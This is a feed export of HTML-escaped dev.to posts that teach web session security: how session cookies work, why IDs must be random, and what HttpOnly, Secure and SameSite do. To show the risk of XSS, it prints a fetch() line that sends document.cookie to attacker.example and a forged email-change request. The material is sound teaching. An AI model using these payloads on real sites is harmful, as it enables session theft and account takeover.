  &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;profile:read&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="nx"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is usually no benefit in exposing sensitive server-side session state to the browser unnecessarily.&lt;/p&gt;

&lt;p&gt;Keep the client-side value minimal.&lt;/p&gt;

&lt;h2&gt;
  
  
  Treat Session Security as a Lifecycle
&lt;/h2&gt;

&lt;p&gt;It is easy to focus entirely on login.&lt;/p&gt;

&lt;p&gt;But a secure session has many stages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Session created
      ↓
User authenticates
      ↓
Session ID rotated
      ↓
Session used
      ↓
Session monitored
      ↓
Session expires or is revoked
      ↓
Session destroyed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security decisions exist at every step.&lt;/p&gt;

&lt;p&gt;If any one step is poorly designed, the session can become easier to abuse.&lt;/p&gt;

&lt;h2&gt;
  
  
  A More Complete Session Security Checklist
&lt;/h2&gt;

&lt;p&gt;For a traditional web application:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ ] Generate unpredictable session IDs

[ ] Rotate session IDs after authentication

[ ] Rotate again after major privilege changes where appropriate

[ ] Use HttpOnly

[ ] Use Secure

[ ] Choose an appropriate SameSite policy

[ ] Protect state-changing requests against CSRF

[ ] Implement idle expiration

[ ] Consider an absolute session lifetime

[ ] Invalidate sessions during logout

[ ] Revoke sessions after important account security events

[ ] Support session revocation where appropriate

[ ] Never place session IDs in URLs

[ ] Avoid logging authentication tokens

[ ] Keep cookie scope as narrow as practical

[ ] Avoid exposing unnecessary session state to the browser
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Session security is not just about protecting one cookie.&lt;/p&gt;

&lt;p&gt;It is about controlling the entire lifecycle of an authenticated identity.&lt;/p&gt;

&lt;p&gt;The session has to be created securely.&lt;/p&gt;

&lt;p&gt;It has to change when authentication changes.&lt;/p&gt;

&lt;p&gt;It has to expire.&lt;/p&gt;

&lt;p&gt;It has to be revocable.&lt;/p&gt;

&lt;p&gt;And when the user logs out, it should actually stop working.&lt;/p&gt;

&lt;p&gt;The safest way to think about a session ID is still the simplest one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;If someone possesses this value,
what can they do?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the answer is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Act as the authenticated user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then that session deserves the same care as any other credential.&lt;/p&gt;

&lt;p&gt;Because once the password has already done its job, the session becomes the thing standing between the user and everyone else.&lt;/p&gt;

</description>
      <category>authentication</category>
      <category>backend</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Your Session Cookie Is Basically a Temporary Password - Part 1</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Wed, 16 Sep 2026 02:35:50 +0000</pubDate>
      <link>https://dev.to/khg5293/your-session-cookie-is-basically-a-temporary-password-part-1-27fe</link>
      <guid>https://dev.to/khg5293/your-session-cookie-is-basically-a-temporary-password-part-1-27fe</guid>
      <description>&lt;p&gt;When developers think about authentication security, passwords usually get most of the attention.&lt;/p&gt;

&lt;p&gt;Use strong passwords. Hash them properly. Add MFA. Rate-limit login attempts.&lt;/p&gt;

&lt;p&gt;All of that matters.&lt;/p&gt;

&lt;p&gt;But something interesting happens after a user successfully logs in:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The password usually stops being involved.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application still needs a way to recognize that user on every request. In many traditional web applications, that job is handled by a &lt;strong&gt;session&lt;/strong&gt; and a &lt;strong&gt;cookie containing the session identifier&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And if an attacker gets that identifier, they may not need the user's password at all.&lt;/p&gt;

&lt;p&gt;In this post, we'll look at how sessions work, how cookies fit into the process, and the cookie settings web developers should understand.&lt;/p&gt;

&lt;h2&gt;
  
  
  HTTP Doesn't Remember You
&lt;/h2&gt;

&lt;p&gt;HTTP is stateless.&lt;/p&gt;

&lt;p&gt;Imagine a user sends this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/login&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/dashboard&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From HTTP alone, there is nothing inherently connecting those two requests to the same authenticated user.&lt;/p&gt;

&lt;p&gt;The server needs some way to remember:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This request belongs to the user who logged in earlier.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's where sessions come in.&lt;/p&gt;

&lt;p&gt;A typical authentication flow looks something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User submits credentials
        ↓
Server verifies credentials
        ↓
Server creates a session
        ↓
Server generates a session ID
        ↓
Session ID is sent to the browser
        ↓
Browser sends it with future requests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a successful login, the server might respond with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session_id=a8f19d27c4e91b72; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser stores the cookie.&lt;/p&gt;

&lt;p&gt;On a later request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/account&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;example.com&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session_id=a8f19d27c4e91b72&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server reads the session ID and looks it up.&lt;/p&gt;

&lt;p&gt;Conceptually, the application might store something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;a8f19d27c4e91b72&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser did not send the password again.&lt;/p&gt;

&lt;p&gt;It only sent the session identifier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cookies and Sessions Are Not the Same Thing
&lt;/h2&gt;

&lt;p&gt;Cookies and sessions are often discussed together, so it is easy to treat them as the same thing.&lt;/p&gt;

&lt;p&gt;They are not.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;cookie&lt;/strong&gt; is data stored by the browser and sent with matching HTTP requests.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;session&lt;/strong&gt; is application state associated with a user.&lt;/p&gt;

&lt;p&gt;In a traditional server-side session model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser

session_id=a8f19d27c4e91b72

        ↓

Server

a8f19d27c4e91b72
        ↓
{
  userId: "khg5293",
  role: "user",
  authenticated: true
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser holds the identifier.&lt;/p&gt;

&lt;p&gt;The server holds the session state.&lt;/p&gt;

&lt;p&gt;This distinction matters because the session ID becomes the link between the browser and the authenticated account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Session IDs Matter
&lt;/h2&gt;

&lt;p&gt;Suppose an attacker somehow obtains this value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;session_id=a8f19d27c4e91b72
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They may be able to send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/account&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;example.com&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session_id=a8f19d27c4e91b72&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the server sees a valid authenticated session, the request may look legitimate.&lt;/p&gt;

&lt;p&gt;The attacker may never need to know the password.&lt;/p&gt;

&lt;p&gt;This is why session identifiers are valuable.&lt;/p&gt;

&lt;p&gt;In many applications, possession of a valid session token is enough to act as the authenticated user until that session expires or is invalidated.&lt;/p&gt;

&lt;p&gt;That makes the session ID behave a lot like a &lt;strong&gt;temporary credential&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session IDs Must Be Unpredictable
&lt;/h2&gt;

&lt;p&gt;A session identifier should never be easily guessable.&lt;/p&gt;

&lt;p&gt;This would be a terrible design:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;session_id=1001
session_id=1002
session_id=1003
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If session IDs follow an obvious pattern, an attacker might simply try nearby values.&lt;/p&gt;

&lt;p&gt;Another bad example would be building a session ID from predictable input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It may look unique, but uniqueness is not the same thing as security.&lt;/p&gt;

&lt;p&gt;Session IDs should be generated using a &lt;strong&gt;cryptographically secure random number generator&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In Node.js, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That could produce something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;63b6910ef2815cb79234af20d8a815332adf36f46d5f86108be34778176cb133
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important property is not that the value looks complicated.&lt;/p&gt;

&lt;p&gt;It is that an attacker cannot realistically predict the next valid value.&lt;/p&gt;

&lt;h2&gt;
  
  
  Protect the Cookie With &lt;code&gt;HttpOnly&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;JavaScript running in a page can normally access cookies through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That becomes dangerous when an application has a cross-site scripting vulnerability.&lt;/p&gt;

&lt;p&gt;Imagine malicious JavaScript manages to run inside your site:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.example/collect?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the authentication cookie is readable by JavaScript, the session identifier could potentially be exposed.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;HttpOnly&lt;/code&gt; attribute helps reduce that risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An &lt;code&gt;HttpOnly&lt;/code&gt; cookie is still sent with normal HTTP requests.&lt;/p&gt;

&lt;p&gt;But JavaScript cannot directly read it through:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For an authentication cookie, this is an important protection.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;HttpOnly&lt;/code&gt; Does Not Fix XSS
&lt;/h2&gt;

&lt;p&gt;There is an important limitation.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;HttpOnly&lt;/code&gt; makes direct cookie theft harder, but it does not make an XSS vulnerability harmless.&lt;/p&gt;

&lt;p&gt;If malicious JavaScript is already running in the victim's browser, it may still be able to perform authenticated actions.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/profile/email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;attacker@example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The JavaScript does not need to read the session cookie.&lt;/p&gt;

&lt;p&gt;The browser may attach it automatically.&lt;/p&gt;

&lt;p&gt;So the distinction is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HttpOnly helps protect the cookie itself.

HttpOnly does not eliminate XSS.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those are separate security problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Use &lt;code&gt;Secure&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Authentication cookies should also generally use the &lt;code&gt;Secure&lt;/code&gt; attribute.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=a8f19d27c4e91b72; Secure
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells the browser to send the cookie only over HTTPS.&lt;/p&gt;

&lt;p&gt;A stronger configuration combines both attributes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly; Secure
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each attribute protects against a different problem.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HttpOnly
    ↓
Reduces direct JavaScript access to the cookie

Secure
    ↓
Restricts the cookie to HTTPS connections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neither replaces the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  What About &lt;code&gt;SameSite&lt;/code&gt;?
&lt;/h2&gt;

&lt;p&gt;Another cookie attribute developers frequently encounter is &lt;code&gt;SameSite&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You may have seen values like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;SameSite=Strict
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;SameSite=Lax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;SameSite=None
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SameSite&lt;/code&gt; controls when a browser sends a cookie during requests involving different sites.&lt;/p&gt;

&lt;p&gt;This matters because browsers automatically attach cookies to matching requests.&lt;/p&gt;

&lt;p&gt;Consider this situation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User is logged into:
account.example

Browser contains:
session_id=abc123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user then visits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That site causes the browser to make a request to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;account.example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The security question becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Should the browser include the account.example session cookie?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That behavior is closely related to &lt;strong&gt;Cross-Site Request Forgery&lt;/strong&gt;, or CSRF.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;SameSite=Strict&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Strict&lt;/code&gt; is the most restrictive option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; SameSite=Strict
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser generally avoids sending the cookie in cross-site requests.&lt;/p&gt;

&lt;p&gt;That gives strong cross-site protection.&lt;/p&gt;

&lt;p&gt;But it can also affect legitimate navigation.&lt;/p&gt;

&lt;p&gt;For example, a user clicking a link from another website into your application may arrive without the cookie being included on that initial request.&lt;/p&gt;

&lt;p&gt;That may or may not be acceptable depending on the application.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;SameSite=Lax&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Lax&lt;/code&gt; provides a middle ground.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; SameSite=Lax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It restricts cookies in many cross-site scenarios while still allowing them in certain top-level navigation cases.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;More restrictive

Strict
  ↓
Lax
  ↓
None

Less restrictive
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For many traditional web applications, &lt;code&gt;Lax&lt;/code&gt; is a reasonable starting point.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;SameSite=None&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Sometimes an application legitimately requires cookies to work across sites.&lt;/p&gt;

&lt;p&gt;In that case:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; SameSite=None; Secure
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cookies using &lt;code&gt;SameSite=None&lt;/code&gt; must also use &lt;code&gt;Secure&lt;/code&gt; in modern browsers.&lt;/p&gt;

&lt;p&gt;So this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; SameSite=None
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;is not the intended modern configuration.&lt;/p&gt;

&lt;p&gt;Instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=abc123; SameSite=None; Secure
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



